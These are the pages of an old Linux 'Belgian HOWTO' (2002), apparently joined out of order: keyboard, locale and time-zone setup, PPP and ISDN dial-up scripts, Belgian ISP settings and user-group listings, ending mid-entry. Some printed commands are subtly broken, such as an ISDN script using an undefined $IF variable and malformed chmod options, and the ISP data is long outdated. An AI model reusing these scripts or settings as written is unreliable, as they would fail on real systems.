To be able to use ë, è, é or ç in console, you might want to add these to your ~/.inputrc:
    set meta-flag on
    set convert-meta off
    set output-meta on
(This must be done for every user, if you want this to be default for all users you can either add this file to /etc/skel/ or you could add these lines to /etc/inputrc and add the following to /etc/bashrc, export INPUTRC=/etc/inputrc)

Note | Note!
 | This is only useful to programs that use readline (like bash)

Also set the following environment variables:
    LC_CTYPE=iso-8859-1
    SYSFONT=lat1u-16.psf
    SYSTERM=linux

2.2.2. Support for the Euro symbol

Since Europe had to invent a new character, the Euro, there's a new standard. It's called ISO-8859-15 (aka Latin-9 or Latin-0). To add support you need both a new font and new keymaps. This is part of every major distribution nowadays, if you have an older distributions you probably need a newer console-tools package.

There's more information in the Euro Character Support mini HOWTO

2.3. Time zone

Since Belgium is located in the Central European Time zone (aka MET) which (in the winter) is equivalent to the Greenwhich Mean Time plus 1 (GMT+1), you can simply link /usr/lib/zoneinfo/localtime/MET to /etc/localtime symbolicly like:
    ln -sf /usr/lib/zoneinfo/MET /etc/localtime
or
    ln -sf /usr/lib/zoneinfo/Europe/Brussels /etc/localtime
This automagically sets Daylight Savings (which is GMT+2 in the summer).

Note | Note!
 | Different distributions have different paths, zoneinfo can be located in /usr/share or such...

Note | Another note!
 | Red Hat uses a tool called timeconfig, SuSE uses yast

To change the CMOS clock and then synchronize the system time with the CMOS clock, do something like this:
    hwclock --set --date="Feb 25 03:38"
    clock -u -s
If your clock is set to local time (which is discouraged but if you also run broken OS's, you must), you can do:
    hwclock --set --date="Feb 25 04:38"
    clock -s
[Noticed the 1 hour difference ? ;p]

If your computer has Internet-access you can use NTP (Network Time Protocol) to keep your system clock in sync. One way of doing this is by starting ntpdate from cron by adding
    05 0 * * * root /usr/sbin/ntpdate -s ntp.belnet.be > /dev/null 2>&1
to your /etc/crontab. Check the ISP-information below to see if your ISP has a NTP-server available.

2.4. Locale support

Not much programs support locale yet, if you want to know more about locale or how to write your own programs to support it, check: [put the damn url here ;p]

Be aware that locale makes it harder to resolve problems as less people can help you !! You might understand a problem when it's in technical English, but what if it's translated in some obscure Dutch ?

2.4.1. Dutch

To enable support for the Dutch locale in Belgium on a system with locale support you just have to set the following environment variables:
    LANG=nl
    LANGUAGE=nl_BE
Try nl_BE.ISO_8859-1 if nl_BE does not work.

2.4.2. French

If you want French locale support in Belgium, set the following environment variabels:
    LANG=fr
    LANGUAGE=fr_BE
Try fr_BE.ISO_8859-1 if fr_BE does not work.

2.4.3. German

If you want instead German locale support in Belgium, set the following environment variabels:
    LANG=de
    LANGUAGE=de_BE
Try de_BE.ISO_8859-1 if de_BE does not work.

2.4.4. Walloon

For Walloon locale support you can find files and information at: http://www.linuxi18n.org/locales/walon/. To use it set:
    LANG=wa
    LANGUAGE=wa_BE:fr_BE
Try wa_BE.ISO_8859-1 if wa_BE does not work.

2.5. Native language support and codepages

These options add support for the Belgian characterset and codepages. If you'd like to have these, compile a kernel with these options put on. They only apply to some filesystems (FAT-based, ISO9660, ...).
    < > Codepage 850 (Europe)
    < > NLS ISO 8859-1  (Latin 1; Western European Languages)
    < > NLS ISO 8859-15 (Latin 9; Western European Languages with Euro)
Located in Filesystems > Native Language Support

If your kernel is a modular kernel that came with your distribution (=you never compiled a kernel before), then you might want to type:
    insmod nls_cp850
    insmod nls_iso8859_1
    insmod nls_iso8859_15

2.6. Ispell

Contributed by Dany Vanderroost <danyv@euronet.be>

2.6.1. Install and setup

Ispell is composed of different components: the main software and one or more dictionaries. The default dictionary is /usr/lib/ispell/english.hash. To override this default you have 2 options. Either you can set the DICTIONARY-variable or launch it with the "-d" option.

You can create custom dictionaries in your home-directory like ~/.ispell_english.

2.6.2. Dutch

    export DICTIONARY=nederlands
or
    ispell -d nederlands file_name

2.6.3. French

    export DICTIONARY=francais
or
    ispell -d francais file_name

Warning

Ispell doesn't work with Walloon which is a phonetic dialect and not a lexical structured language.

2.6.4. German

    export DICTIONARY=deutsch
or
    ispell -d deutsch file_name

2.6.5. Multilanguage spelling

By default Ispell will not work with multiple dictionaries but the solution is to work with the ~/.ispell_words file.

If you don't want to make multi instance with Ispell, You can build ~/.ispell_words with the words package by cp /usr/dict/words ~/.ispell_words; chmod +w ~/.ispell_words.

2.7. Setting up Internet

2.7.1. Dialing in with your modem (PPP)

To configure PPP correctly, you should check the PPP-HOWTO. I try to explain it briefly, but if you have any questions or problems, read the HOWTO very carefully.

2.7.1.1. Configuring the modem

To configure your modem, you can alter the initstring of your modem. To learn more about your modem, check Ask Mr. Modem.

Warning

If you have a winmodem you will probably not get it to work. More information about winmodems is at: http://linmodems.org/. Work is underway, but winmodems are not as good as real modems.

2.7.1.2. Installing pppd

Now, you need to have the ppp-package installed (check this by typing pppd --version), make sure you have a recent one. Then you have to make sure you've got these files:

/usr/local/bin/ppp
    #!/bin/sh

    case $1 in
        (on|start)
            TELEPHONE='555-1212'        # The telephone number for the connection
            ACCOUNT='your_login'        # The account name for logon (as in 'George Burns')
                PASSWORD='your_pass'        # The password for this account (and 'Gracie Allen')
            INITSTRING='AT&F&C1&D2Z'# Modem initstring
            IPLOCAL=0.0.0.0             # Local IP address if known. Dynamic = 0.0.0.0
            IPREMOTE=0.0.0.0            # Remote IP address if desired. Normally 0.0.0.0
            DEVICE=/dev/ttyS1           # Serial Device com1=ttyS0, com2=ttyS1,...
            SPEED=57600                 # 19200, 38400 or 57600 (don't try something different)
            export TELEPHONE ACCOUNT PASSWORD INITSTRING
            exec /usr/sbin/pppd $DEVICE $SPEED $IPLOCAL:$IPREMOTE \
            user $ACCOUNT connect /etc/ppp/ppp-on-dialer
            ;;
        (off|stop)
            if [ -r /var/run/ppp0.pid ]; then
                kill -INT `cat /var/run/ppp0.pid`
                if [ ! "$?" = "0" ]; then
                    rm -f /var/run/ppp0.pid
                    echo "ERROR: Removed stale pid file"
                    exit 1
                fi
                exit 0
            fi
            echo "ERROR: PPP link is not active on ppp0"
            exit 1
            ;;
        (info|status)
            /usr/sbin/pppstats
            ;;
        (*)
            echo "Usage: ppp on|off|info|start|stop|status";
    esac

/etc/ppp/ppp-on-dialer
    #!/bin/sh

    exec /usr/sbin/chat -v                                        \
        REPORT CONNECTION                                     \
        REPORT CARRIER                                        \
        TIMEOUT              10                               \
        ABORT                '\nBUSY\r'                       \
        ABORT                '\nNO ANSWER\r'                  \
        ABORT                '\nNO CARRIER\r'                 \
        ABORT                '\nNO DIALTONE\r'                \
        ABORT                '\nRINGING\r\n\r\nRINGING\r'     \
        ABORT                'Invalid Login'                  \
        ABORT                'Login incorrect'                \
        ''                   "\r$INITSTRING\r"                \
        'OK-+++\c-OK'        'ATH0'                           \
        TIMEOUT              45                               \
        OK                   "ATDT$TELEPHONE"                 \
        CONNECT              '\d\c'                           \
        ogin:--ogin:         "$ACCOUNT"                       \
        ord:                 "$PASSWORD"
You can remove the -v once everything looks normal.

The pppd command uses /etc/ppp/options to list its options, change these options to whatever fits. These defaults normally work in most cases.
    asyncmap 20a0000
    crtscts
    debug
    default-mru
    defaultroute
    detach
    escape 11,13,ff
    hide-password
    ipcp-accept-local
    ipcp-accept-remote
    lcp-echo-failure 4
    lcp-echo-interval 400
    lock
    modem
    mtu 1500
    netmask 255.255.255.0
    noipdefault
    passive

    #idle 300
    #kdebug 0
    #-vj
Once dialing in works like a charm, you can leave debug out.

Warning

It is important to emphasize that every special character, thus every character that is not [a-ZA-Z0-9] and '_', should be escaped by preceding it with a '\'-character. Thus "e!b$l+" would become "e\!b\$l\+". Try it if you are having troubles !

2.7.1.3. pap-secrets / chap-secrets

If your ISP requires CHAP or PAP, you need one of these files with their proper username and password:

/etc/ppp/pap-secrets or /etc/ppp/chap-secrets
    #client         server  secret          IP
    your_login      *       your_pass       *

2.7.1.4. Network

To configure your nameservers, change /etc/resolv.conf. If dialing in is succesful, but you can't get it to connect to URL's: this is probably the cause.
    domain domain_of_your_isp
    nameserver your_primary_nameserver
    nameserver your_secondary_nameserver

2.7.1.5. File permissions

Before you can run a (shell)script, it must be set executable. Be sure that you set the permissions so that other users cannot see the passwords stored in the files. If you want other users to be able to dial in, you might want to consider using sudo. You might want to do the following:
    chmod u+rw og-rwx -R /etc/ppp
    chmod u+x /etc/ppp/ppp-on-dialer /usr/local/bin/ppp

2.7.1.6. Dial + Hangup

Then if /usr/local/bin is in your PATH, you can easily dial in with ppp on, hangup with ppp off and to get some statistics, you do: ppp status.

2.7.2. Dialing in with your ISDN-modem

Contributed by Christophe Lambin <clambin@skynet.be>

This section does not aim to be a definitive guide on ISDN for Linux. For a more detailed discussion on the topic, see Paul Slootman's ISDN4Linux HOWTO and ISDN4Linux-FAQ.

2.7.2.1. Updating the kernel

If you're using a 2.2 kernel, it's recommended to get an updated version of the ISDN code. You can retrieve it from CVS at ftp://ftp.suse.com/pub/isdn4linux/. For more information, check: http://www.brisse.dk/site/linux/docs/isdn.htm

Warning

If you've recently purchased an Eicon Diva 2.0 PCI (eg, via Belgacom), there's a good chance you've actually got a Diva 2.01.In this case, you must get a version dated 1 July 1999 or later !

Once the ISDN is in place, you can start up the driver. Eg: modprobe hisax type=11 protocol=2 Refer to the Readme's for the right parameters and values for your card.

2.7.2.2. ISDN4Linux toolkit

Next, you'll need the ISDN4Linux toolkit. You can retrieve the latest version of the toolkit at: ftp://ftp.suse.com/pub/isdn4linux/

2.7.2.3. Configuring the interface

With the tools installed and configured, write a script to configure the interface, to be used for the ISDN connection. As always in Linux, there's no one correct way of doing this. I've put these in a script

/etc/rc.d/rc.isdn:
    #!/bin/sh

    MSNREMOTE='555-1212'    # Phone number of ISP
    MSNLOCAL='555-1313'     # my number, without 0, with areacode
    ACCOUNT='george'        # The account for logon (as 'George Burns')
    IPLOCAL=10.0.0.2        # my fixed IP (use 10.0.0.2 if no fixed)
    IPREMOTE=0.0.0.0        # IP number of ISP
    INTERFACE=ippp0
    /sbin/modprobe hisax type=11 protocol=2
    /sbin/isdnctrl verbose 3 system on
    /sbin/isdnctrl addif $IF
    /sbin/isdnctrl secure $IF on
    /sbin/isdnctrl addphone $IF out $MSNREMOTE
    /sbin/isdnctrl eaz $IF $MSNLOCAL
    /sbin/isdnctrl huptimeout $IF 300
    /sbin/isdnctrl l2_prot $IF hdlc
    /sbin/isdnctrl l3_prot $IF trans
    /sbin/isdnctrl encap $IF syncppp
    /sbin/isdnctrl dialmode $IF auto
    /sbin/ifconfig $IF $IPLOCAL pointopoint $IPREMOTE -arp -broadcast
    /sbin/ipppd /dev/ippp0 user $ACCOUNT $IPLOCAL:$IPREMOTE

To start this at boot time, make it executable and append the following to /etc/rc.d/rc.local:
    if [ -x /etc/rc.d/rc.isdn ]; then
        . /etc/rc.d/rc.isdn
    fi

The ipppd command gets its parameters passed through a file, /etc/ppp/ioptions:
    -ac
    -bsdcomp
    debug
    defaultroute
    ipcp-accept-local
    ipcp-accept-remote
    mru 1524
    mtu 1500
    noipdefault
    -pc
    useifip
    -vj
    -vjccomp

    #idle 360
    #persistent

Warning

Do NOT specify +pap or +chap in this file. This specifies the authentication that ipppd should use for an INCOMING client. If you were to use this to connect to your ISP, ipppd would wait for the ISP to authenticate itself using the specified protocol.

Warning

It is important to emphasize that every special character, thus every character that is not [a-ZA-Z0-9] and '_' should be escaped by preceding it with a '\'-character. Thus 'e!b$l+' would become 'e\!b\$l\+'. Try it if you are having troubles !

Finally, create /etc/ppp/ip-down.local to handle the shutdown of the interface:
    #!/bin/sh

    /sbin/ifconfig $1 down
    sleep 1
    /sbin/ifconfig $1 10.0.0.2 pointopoint

Note | Note!
 | This is to handle some problems with routes on shutdowns. Anyone know of a clean(er) solution ?

2.7.2.4. pap-secrets / chap-secrets

If your ISP uses PAP or CHAP, create a file /etc/ppp/pap-secrets or /etc/ppp/chap-secrets. Its format is:
    #client         server  secret          IP
    your_login      *       your_pass       *

2.7.2.5. Network

Not really related to ISDN, but a lot of people forget this step (too eager to try out all the stuff they typed in above ? :-)).

Anyway, you need to configure the DNS, by creating a file /etc/resolv.conf:
    domain your_domain_of_your_isp
    nameserver your_primary_nameserver
    nameserver your_secondary_nameserver

2.7.2.6. File permissions

Before you can run a (shell)script, it must be set executable. Be sure that you set the permissions so that other users cannot see the passwords stored in the files. If you want other users to be able to dial in, you might want to consider using sudo. You might want to do the following:
    chmod u+rw og-rwx -r /etc/ppp
    chmod u+x /etc/rc.d/rc.isdn /etc/ppp/ip.down-local /usr/local/bin/isdn

2.7.2.7. Dial + Hangup

Finally, you can write a little wrapper to start and stop the ISDN connection. I've put this as /usr/local/bin/isdn:
    #!/bin/bash

    case $1 in
        (on|start)
            /sbin/isdnctrl dial ippp0
            ;;
        (off|stop)
            /sbin/isdnctrl hangup ippp0
            ;;
        (info|status)
            /sbin/isdnctrl list ippp0
            ;;
        (*)
            echo "Usage: isdn on|off|info|start|stop|status"
    esac

Then if /usr/local/bin is in your PATH, you can easily dial in with isdn on and hangup with isdn off.

Prev | Home | Next
Introduction |  | Belgian ISP information


Belgian HOWTO

Dag Wieërs

dag@wieers.com

v1.1.6, 12 May 2002

This document describes how to configure Linux for Belgian users and lists Linux user groups, businesses and other resources in Belgium.

Table of Contents
1. Introduction
1.1. Why this document?
1.2. New versions of this document
1.3. Translated versions
1.4. Contributions
1.5. The Linux.be-domain debacle
1.6. Feedback
1.7. Copyright information
1.8. Todo
2. Configuration
2.1. Keyboard setup
2.2. Display and applications
2.3. Time zone
2.4. Locale support
2.5. Native language support and codepages
2.6. Ispell
2.7. Setting up Internet
3. Belgian ISP information
3.1. PPP/ISDN
3.2. Cable
3.3. ADSL
4. Belgian Linux user groups
4.1. ALLIN Linux User Group [BEGIJNENDIJK]
4.2. Antwerp Linux User Group - ALUG [ANTWERP]
4.3. Brussels Linux User Group - BeLUGa [BRUSSELS]
4.4. Charleroi LUG [CHARLEROI]
4.5. Computer Forum KaHo - CFK
4.6. HCC Limburgse Linux Gebruikers Groep - HLLGG
4.7. HCC Linux Gebruikers Groep Leuven [LEUVEN]
4.8. Independent Group of Unix-Alikes and Network Activists - IGUANA
4.9. Infogroep - IGWE [BRUSSELS]
4.10. Leuvense Linux Users - L2U [LEUVEN]
4.11. Liège Linux Team - LiLiT [LIEGE]
4.12. Linux User Group De Bruxelles - BxLUG [BRUSSELS]
4.13. Linux User Group Heist op den Berg [HEIST OP DEN BERG]
4.14. Linux User Movement Underground Mad Belgian Aliens - LUMUMBA [DIEPENBEEK]
4.15. LinuxBe.Org A.S.B.L
4.16. Louvain-Li-nux - LLN [LOUVAIN-LA-NEUVE]
4.17. Mons LUG [MONS]
4.18. Namur LUG [NAMUR]
4.19. Open Source Blanc Blue Belge - OS3B [CHARLEROI]
4.20. Open Technology Assembly Linux Special Interest Group [BRUSSELS]
4.21. PC Aktief Computerclub [SINT-NIKLAAS]
4.22. Student Information Networking - SIN [GEEL]
4.23. There Is No Alternative - TINA [ANTWERP]
4.24. Unix Lovers Yield Student Services & Internet Support - ULYSSIS [LEUVEN]
4.25. West-Vlaamse Linux User Group - Lug-WV [BRUGGE]
4.26. Workgroup of Linux Fanatics - WOLF [MECHELEN]
4.27. Zeus WPI - Werkgroep Informatica RUG [GENT]
5. Belgian Linux businesses
5.1. aDOC Services
5.2. Arafox
5.3. Aragne
5.4. Better Access nv
5.5. Consultux
5.6. CoreSequence Consultancy & Training
5.7. CSS nv
5.8. D. Connect
5.9. Dolmen
5.10. DS Improve bvba
5.11. EMMO Service
5.12. FKS bvba
5.13. Glasshouse Business Networks bvba
5.14. Grmbl productions
5.15. IBM Belgium sa/nv
5.16. IP Net generation
5.17. Kangaroot Linux Solutions
5.18. Life nv
5.19. Linugen bvba
5.20. LinuxIdee
5.21. M-TEC SERVICE
5.22. Mind Linux Solutions
5.23. Neolabs
5.24. Phidani Software sprl
5.25. Qbian Linux Systems
5.26. Si-Lab
5.27. Spier bvba
5.28. Stone-IT Belgium
5.29. Supporting Open Source cvba
5.30. Théridion sprlfs
5.31. VirgoPlus sprl
6. Belgian Linux resources
6.1. Websites
6.2. HOWTO
6.3. HOWTO translations
6.4. FTP
6.5. Usenet/Newsgroups
6.6. IRC
Next
Introduction


Introduction

Belgian HOWTO
Prev Next

1. Introduction

1.1. Why this document?

Since there was no information anywhere on the net for Belgian Linux users around 1998, we started to collect stuff that we thought could be important. This HOWTO aims to be the definitive list of all Belgian-related Linux information. If you think not, you have no excuse to complain and certainly not to not contribute. ;)

1.2. New versions of this document

If you need to know more about the Linux Documentation Project or about Linux HOWTO's, feel free to contact the supervisor Tim Bynum <linux-howto@sunsite.unc.edu>.

Tim Bynum will post the listing to several national and international newsgroups on a monthly basis. In addition, the Belgian HOWTO can be found on the World Wide Web at http://dag.wieers.com/howto/. New versions of the Belgian HOWTO are always placed at this site first, so please be sure to check if the copy you are reading is still up to date!

1.3. Translated versions

This document is currently translated in 3 languages (English, Dutch and French), we're trying to keep all three of them in sync, but the English version is the source-document!

The English and Dutch version are maintained by Dag Wieërs <dag@wieers.com> and is found at: http://dag.wieers.com/howto/.

The French version is maintained by Dany Vanderroost <danyv@euronet.be> and is found at: http://club.euronet.be/dany.vanderroost/howto.html.

1.4. Contributions

A few people mailed us their suggestions and improvements, thanks go to:

  • Wim Vandeputte <wvdputte@reptile.rug.ac.be>

  • Pablo Saratxaga <srtxg@ping.be>

  • Christophe Lambin <clambin@skynet.be>

  • Geert Uytterhoeven <geert@linux-m68k.org>

  • Herman Bruyninckx <Herman.Bruyninckx@mech.kuleuven.ac.be>

Many thanks go to Ivo Clarysse <soggie@iguana.be> who started something similar earlier (LinBel) and his project helped us a lot to get this document online.

1.5. The Linux.be-domain debacle

As you might have heard, Belgium also has its problem with the Linux.be domain. Similar to the Linux.nl case. Around March 1999, someone tricked the DNS administration about the trademark 'Linux' in Belgium by using 'Linux' as a commercial representation of the company ('uithangbord') which was according to the rules of the DNS administration at that time. The company in fact was one that sold motor-parts and the registration was done with a fake fax containing a penguin.

It is sad that the person who registered the Linux.be-domain name (Matthias Barremaecker), did this behind the back of some Open Source volunteers who were planning to register a not-for-profit organisation to hold the domain name to prevent any abuse.

Afterwards there were several meetings with this person to work out an agreement so that the domain was not used for commercial purposes and handed over to a neutral organisation. But after several attempts it was very clear that the owner wanted full control over the domain, which he later emphasized by 'handing it over' to his own not-for-profit organisation. He stated several times he wanted to keep the right to add advertissements to the website, but wouldn't mind that volunteers added content to the site (that was empty at the time). After this, no one was willing to work voluntarily for the content of the site. Sadly he managed to get some people volunteer for it after all.

1.6. Feedback

If some information seems to be wrong, deceptive or missing, we'd appreciate if you mailed us the improvements. Since we're just human this document isn't bug-free, but your contribution can and will make a difference.

To add yourself to the Linux user groups or businesses, collect all necessary information and mail it to us.

1.7. Copyright information

This document, Belgian HOWTO, is copyrighted (c) 1998 - 2002 by Dag Wieërs. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 published by the Free Software Foundation; with the Invariant Sections being "New versions of this document", "Contributions", "Feedback" and "Copyright information" with no Front-Cover Texts and with no Back-Cover Texts.

A copy of the license is available at http://www.gnu.org/copyleft/fdl.html.

Trademarks are owned by their owners.

Although the information given in this document is believed to be correct, the author will accept no liability for the content of this document. Use the tips and examples given herein at your own risk.

1.8. Todo

There are some things I'm planning to add to this document, if you're interested be sure you're reading the most current version of this document. (This todo-list is only a reminder to myself, it is not in the translated documents!)

  • Integrate LinBel some more (should have done this a long time ago)

  • Add more information about ADSL

  • Update the locale-section, preferably link to a related document.

Prev | Home | Next
Belgian HOWTO |  | Configuration


Belgian ISP information

Belgian HOWTO
Prev Next

3. Belgian ISP information

3.1. PPP/ISDN

3.1.1. Brutélé

Web

http://www.brutele.be/

Support

no official Linux support yet

3.1.2. Cable&Wireless (Online, TijdNet)

Authentication

text-based / PAP

Extra options

noccp

Nameservers

62.112.0.7, 194.88.127.7

NTP-server

ntp.antw.online.be, ntp.brus.online.be, ntp.gent.online.be

Web

http://www.online.be/

Support

no official Linux support yet

3.1.3. KPN Belgium (Eunet)

Authentication

text-based

Extra options

proxyarp

Nameservers

193.74.208.135, 193.74.208.65, 193.121.171.135

Web

http://www.eunet.be/

Support

http://support.eunet.be/

3.1.4. Planet Internet (Ping)

Authentication

CHAP

Nameservers

194.119.232.3, 194.119.232.2

NTP-server

ntp.pi.be

Web

http://www.planetinternet.be/

Support

http://www.ping.be/Support/redhat.shtml (Ping)

3.1.5. Skynet (Belgacom)

Authentication

PAP

Extra options

defaultroute

Nameservers

195.238.2.21, 195.238.2.22

NTP-server

ntp.skynet.be

Web

http://www.skynet.be/

Support

http://help.skynet.be/linux/indexen.html

3.1.6. Tiscalinet (Freegates, FreeBel)

Authentication

text-based ?

Nameservers

212.35.2.1, 212.35.2.2

NTP-server

ntp.tiscalinet.be

Web

http://www.tiscalinet.be/

Support

no official Linux support yet

3.1.7. UUNet (VT4)

Authentication

PAP

Nameservers

194.7.1.4, 194.7.15.70

Web

http://www.uunet.be/, http://www.vt4.net/

Support

no official support yet

3.1.8. Wanadoo (Euronet)

Authentication

text-based / PAP

Nameservers

195.74.193.12, 194.134.0.12

Web

http://www.wanadoo.be/

Support

no official Linux support yet

3.1.9. World Online

Authentication

CHAP

Nameservers

212.233.1.34, 212.233.2.34

Web

http://www.worldonline.be/

Support

http://help.worldonline.be/en/linux/index.htm

3.1.10. XS4ALL

Authentication

PAP

Nameservers

194.109.6.66, 194.109.9.99

NTP-server

ntp.xs4all.be

Web

http://www.xs4all.be/

Support

http://helpdesk.xs4all.be/ned/linux/index.html

3.1.11. Yucom (DMA)

Authentication

CHAP

Nameservers

212.8.180.122, 212.8.180.126

NTP-server

ntp.yucom.be

Web

http://www.yucom.be/

Support

no official Linux support yet

3.2. Cable

DHCP was designed to make life easier, and most of the times it does ;) More information to set up your DHCP client can be found at: http://www.oswg.org/oswg-nightly/DHCP.html and a list of Frequently Asked Questions from the infamous document of John Wobus at http://www.dhcp.org/ which describes everything you need to know. Along with the information in the Cable-Modem HOWTO (http://www.oswg.org/oswg-nightly/Cable-Modem.html).

Lots of people want to connect a whole network to their cablemodem, that's not a problem. You'll need IP-Masquerading and make sure the interface (that speaks to the cablemodem) has the right MAC-address !! Another solution (in case of problems) is to reset your cablemodem.

3.2.1. UPC Belgium (Chello, TVD)

NTP-server

time.chello.be

Web

http://www.upcbelgium.be/

Support

no official support yet

More information

http://foobar.starlab.net/~soggie/tvd_linux/

3.2.2. Pandora (Telenet)

Automatic proxy

http://pac.pandora.be:8080

HTTP proxy

export http_proxy="http://proxy.pandora.be:8080/"

NTP-server

ntp.pandora.be

Web

http://www.pandora.be/

Support

no official support yet

More information

http://users.pandora.be/de.boeve/pandora.html

3.3. ADSL

3.3.1. Easynet

Web

http://www.easynet.be/

Support

http://support.easynet.be/

3.3.2. KPN Belgium (Eunet)

Web

http://www.eudsl.be/

Support

http://support.eunet.be/

3.3.3. Turboline (Belgacom)

Web

http://www.turboline.be/

Support

no official support yet

More information

http://minf.vub.ac.be/~fquestie/turbo/

Prev | Home | Next
Configuration |  | Belgian Linux user groups


Belgian Linux resources

Belgian HOWTO
Prev

6. Belgian Linux resources

6.1. Websites

6.1.1. Linux in Belgium

  • Belgian HOWTO

  • be.comp.os.linux FAQ

  • Belgian LUGS

  • LinuxBelgium.net

6.1.2. Dutch Linux-related sites

  • Nederlandstalige Linux homepage _the_ Linux source for Flanders and the Netherlands

  • Nederlandstalige Linux Documentatie Project most Linux HOWTOs translated to Dutch

  • Linux Support Website

  • EToS: Educatieve Toepassingen van Open Software

  • A Flemish website about Open Standards

  • Beginnen met Linux

  • Installatie Handleiding RedHat 5.2

  • Configure.help in het Nederlands

  • Cursus Linux voor Informaticabeheer

6.1.3. French Linux-related sites

  • LinuxBe.Org

  • Association Electronique LIBRE

  • Belgian HOWTO in french

  • linux-france.org

6.1.4. Mirrors in Belgium

  • Freshmeat at UPC Belgium (Chello,TVD)

  • Linuxberg at Wallonie Internet

  • Linuxberg at Online

  • Linuxberg at Pandora (Telenet)

  • Linux Gazette at Belnet

  • Linux Gazette at Linuxbe

  • LinuxFocus

  • Linux France

6.2. HOWTO

The most important collection of Linux information on the net. Please if you encounter erroneous information in one of them, do contact the author. Only that way it will be corrected and we all stand together ;)

  • HOWTO's at K.U.Leuven

  • HOWTO's at Double-Barrel

  • HOWTO's at SIN

  • HOWTO's at Linuxbe.org

6.3. HOWTO translations

As Dutch is less wide-spread, it is the least supported. But work is being done to resolve this ;) (and maybe *you* can help ?!?) French and German translations obviously are already taken care of.

6.3.1. Dutch

A succesfull initiative is making progress, but there's still a lot to do. If you want to help, start translating and send it there. Check http://nl.linux.org/doc/HOWTO/.

6.3.2. French

French translations of HOWTO's can be found at: http://www.ibiblio.org/pub/Linux/docs/HOWTO/translations/fr/

6.3.3. German

German translations of HOWTO's can be found at: http://www.ibiblio.org/pub/Linux/docs/HOWTO/translations/de/

6.4. FTP

6.4.1. Kernel-source mirrors

  • Official Mirror kernel-sources at Belnet

  • Official Mirror kernel-sources at UPC Belgium (Chello,TVD)

  • Kernel-sources at Tiscalinet

6.4.2. Distribution mirrors

  • Red Hat Mirrors

    • Official Mirror at Belnet

    • Official Mirror at Easynet

    • Mirror at Pandora (Telenet)

    • Mirror at UPC Belgium (Chello,TVD)

  • Debian

    • Official Mirror at Belnet

    • Official Mirror at KULeuven

    • Official Mirror at Pandora (Telenet)

    • Official Mirror at Easynet

    • Official Mirror at Tiscalinet

    • Mirror at Skynet

    • Mirror at spnet

  • Mandrake

    • Mirror at Belnet

    • Mirror at UPC Belgium (Chello,TVD)

  • SuSE

    • Mirror at Belnet

    • Mirror at Pandora (Telenet)

6.4.3. Mirrors in Belgium

  • Mirrors at Belnet

  • Mirrors at UPC Belgium (Chello,TVD)

  • Mirrors at Pandora (Telenet)

6.5. Usenet/Newsgroups

  • be.comp.os.linux at Google

6.6. IRC

The fastest medium to get support is IRC, but beware. Because IRC is rather anonymous it's also easy to deceive people.

On IRCnet there's a channel called #linux.be that is closely related to bcol and the Belgian Linux-scene. The channel is still small, but it surely will grow in time. To get help in English, there's only one place #linux.

Also Dalnet has a #linux.be channel.

Prev | Home
Belgian Linux businesses |


Belgian Linux user groups

Belgian HOWTO
Prev Next

4. Belgian Linux user groups

More information can be found in the User Group HOWTO A complete list of Linux User Groups is at: http://www.ssc.com/linux/glue/ and at: http://lugww.counter.li.org/

4.1. ALLIN Linux User Group [BEGIJNENDIJK]

Address

Mechelbaan 260
B-3130 Begijnendijk

Email

<allin@linuxfreak.com>

Web

http://come.to/allin/

Contact

Paul Terweduwe <paul@faes.be>

4.2. Antwerp Linux User Group - ALUG [ANTWERP]

Address

Van Luppenstraat 70
B-2018 Antwerp

Phone

+32 (0)3 218 63 54

Email

<alug@pandora.be>

Web

http://sunsite.belnet.be/alug/

Meetings

In ACCB (HVR), Herentalsebaan 212 te Deurne

Contact

Armand Verachtert <alug@pandora.be>

4.3. Brussels Linux User Group - BeLUGa [BRUSSELS]

Address

Building F, room 218
Vrije Universiteit Brussel
Pleinlaan 2
B-1050 Brussel

Email

<info@linux.rave.org>

Web

http://linux.rave.org/

Mailinglist

http://linux.rave.org/mlist.html

4.4. Charleroi LUG [CHARLEROI]

Email

<lug_charleroi@caramail.com>

Web

http://charleroi.linuxbe.org/

Mailinglist

http://charleroi.linuxbe.org/mailing/mail.html

4.5. Computer Forum KaHo - CFK

Email

<cfk@kahosl.be>

Web

http://eduserv.kahosl.be/cfk/

4.6. HCC Limburgse Linux Gebruikers Groep - HLLGG

Email

<Linuxgg@hotmail.com>

Web

http://www.uunet.be/hcc/Limburg/

Contact

Andy Peeters & Bruno Tony

4.7. HCC Linux Gebruikers Groep Leuven [LEUVEN]

Address

Diegemstraat 61
B-1930 Zaventem

Email

<Yvo.Dries@village.uunet.be>

Web

http://www.uunet.be/hcc/Leuven/linux.html

Contact

Yvo Dries <Yvo.Dries@village.uunet.be>

4.8. Independent Group of Unix-Alikes and Network Activists - IGUANA

Address

Milcampslaan 101
B-1040 Schaarbeek

Phone

+32 (0)2 582 66 50

Fax

+32 (0)2 582 66 50

Email

<info@iguana.be>

Web

http://www.iguana.be/

4.9. Infogroep - IGWE [BRUSSELS]

Address

5F218 (building F)
Pleinlaan 2
B-1050 Brussels

Phone

+32 (0)2 629 33 56

Fax

+32 (0)2 629 33 89

Email

<ig@igwe.vub.ac.be>

Web

http://igwe.vub.ac.be/

4.10. Leuvense Linux Users - L2U [LEUVEN]

Email

<info@l2u.iguana.be>

Web

http://l2u.iguana.be/

Meetings

First and third thursday every month in Freinetschool De Zevensprong, Vital Decosterstraat 67, B-3000 Leuven

Mailinglist

http://l2u.iguana.be/mailman/listinfo/members

4.11. Liège Linux Team - LiLiT [LIEGE]

Email

<f.berger@student.ulg.ac.be>

Web

http://www.lilit.be/

4.12. Linux User Group De Bruxelles - BxLUG [BRUSSELS]

Email

<information@bxlug.org>

Web

http://www.bxlug.org/

Contact

Raphael Bauduin <information@bxlug.org>

4.13. Linux User Group Heist op den Berg [HEIST OP DEN BERG]

Address

Bergstraat 89
B-2220 Heist op den Berg

Phone

+32 (0)495 925 931

Email

<info_heistselinuxclub@yahoo.co.uk>

Web

http://uk.geocities.com/info_heistselinuxclub/

4.14. Linux User Movement Underground Mad Belgian Aliens - LUMUMBA [DIEPENBEEK]

Address

Filii Lamberti
Universiteitslaan 1
B-3590 Diepenbeek

Email

<helpdesk@lumumba.luc.ac.be>

Web

http://lumumba.luc.ac.be/

Mailinglist

<minordomo@lumumba.luc.ac.be>

4.15. LinuxBe.Org A.S.B.L

Address

Boulevard de la Meuse, 23
B-5100 Jambes

Email

<team@linuxbe.org>

Web

http://linuxbe.org/

Contact

Cedric Gavage <niddle@linuxbe.org>

4.16. Louvain-Li-nux - LLN [LOUVAIN-LA-NEUVE]

Address

